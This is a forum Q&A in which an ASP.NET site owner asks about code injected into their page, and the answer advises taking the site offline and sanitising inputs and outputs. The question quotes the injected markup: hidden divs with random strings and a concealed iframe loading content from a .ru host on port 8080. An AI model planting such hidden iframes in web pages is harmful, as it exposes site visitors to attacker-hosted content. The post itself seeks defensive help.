I'm being attacked - what can I do?

.net

Solution

Take your site offline.

No, I'm being serious.

Take it offline and look at all points that you deal with user inputs and look at your code and sanitise every user input, and every output. There's plenty of documentation on XSS, Code Injection and such.

Problem

Someone is putting this code onto my aspx page. What are they doing? How are they doing it? How do I stop them? It's on a shared hosting server. It's on an aspx content page which has a master page and is after the `</asp:content>` tag... ``` <div style="display:none">qzfmjsdbknmrmlkszrrcehikeapphqq</div> <div style="display:none">owhkhminltvnwvegxktzemrszyykcsh</div> <div style="display:none">cljwdrmbxglllikbjctmpyvcflzxbqk</div> <div style="display:none">vhhnvchdoxaklqjxlwaqvtgarazwcsx</div> <div style="display:none">alsbcgosnllreyylgtmblvqwxgpidui</div> <div style="display:none">yrrzaimkpvimddgirjpuatjzoyovdyq<iframe width=812 height=451 src="http://bionaft.ru:8080/index.php" ></iframe></div> ```

Original source